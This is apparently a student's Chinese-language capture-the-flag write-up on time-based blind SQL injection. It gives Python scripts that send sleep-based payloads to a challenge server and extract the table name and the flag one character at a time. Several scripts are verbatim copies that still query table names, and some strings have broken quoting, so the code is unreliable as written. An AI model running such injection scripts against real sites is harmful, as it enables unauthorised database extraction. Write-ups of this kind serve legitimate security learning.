SQL时间盲注

题目网址：http://120.78.142.81:49497

思路

• 利用if（A，sleep（5），1）查延时得到

1. 爆数据库名长度
2. 逐个爆数据库字母
3. 爆表名长度
4. 逐个爆表名字母
5. 爆列名长度
6. 逐个爆列名字母
7. 爆字段长度
8. 逐个爆字段字母
9. 得到flag

用python代码实现 （其实爆长度可省略）

#爆数据库省略，直接表名

import requests
import time

flag = ''
maxlength = 50
host = 'http://120.78.142.81:49497/?'

for i in range(1, maxlength):
    for x in range(32,127):
        payload = "id=1\' and if(ascii(substring((select table_name from information_schema.tables where table_schema = 'ctf' limit 0,1),{0},1)) ={1},sleep(5),null)--+"
        url = (host + payload.format(i,x))
        print(url)
        start_time=time.time()
        r = requests.get(url)
        if time.time() - start_time > 4:
            flag += chr(x)
            print(flag)
            break

表名和列名其实差不多

#爆列名

import requests
import time

flag = ''
maxlength = 50
host = 'http://120.78.142.81:49497/?'

for i in range(1, maxlength):
    for x in range(32,127):
        payload = "id=1\' and if(ascii(substring((select table_name from information_schema.tables where table_schema = 'ctf' limit 0,1),{0},1)) ={1},sleep(5),null)--+"
        url = (host + payload.format(i,x))
        print(url)
        start_time=time.time()
        r = requests.get(url)
        if time.time() - start_time > 4:
            flag += chr(x)
            print(flag)
            break

然后就是字段

#爆字段

import requests
import time

flag = ''
maxlength = 50
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789<>,.;:'"[]{}\|+=_-)(~`"
host = 'http://120.78.142.81:49497/?'

for i in range(1, maxlength):
    for x in range(32,127):
        payload = "id=1\' and if(ascii(substring((select table_name from information_schema.tables where table_schema = 'ctf' limit 0,1),{0},1)) ={1},sleep(5),null)--+"
        url = (host + payload.format(i,x))
        print(url)
        start_time=time.time()
        r = requests.get(url)
        if time.time() - start_time > 4:
            flag += chr(x)
            print(flag)
            break

（然后最后这个data我也不知道是什么反正就是要做233）

#爆data

import requests
import time

flag = ''
maxlength = 50
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789<>,.;:'"[]{}\|+=_-)(~`"
host = 'http://120.78.142.81:49497/?

for i in range(1, 22):
    for x in chars:
        payload = "id=1\' and if(ascii(substr((select flag from ctfftc limit 0,1),{0},1)) ={1},sleep(5),null)--+"
        d = ord(x)
        url = (host + payload.format(i,d))
        print(url)
        start_time=time.time()
        r = requests.get(url)
        if time.time() - start_time > 4:
            flag += x
            print(flag)
            break

然后就拿到了flag

注意 if 语句的语法，很容易出错（我还是不知道之前错在哪反正后面莫名其妙的就对了）
看着很简单，可是昨天真的改了好久好久，晚上七点半到凌晨两点半
第一次独立完成还是很快乐w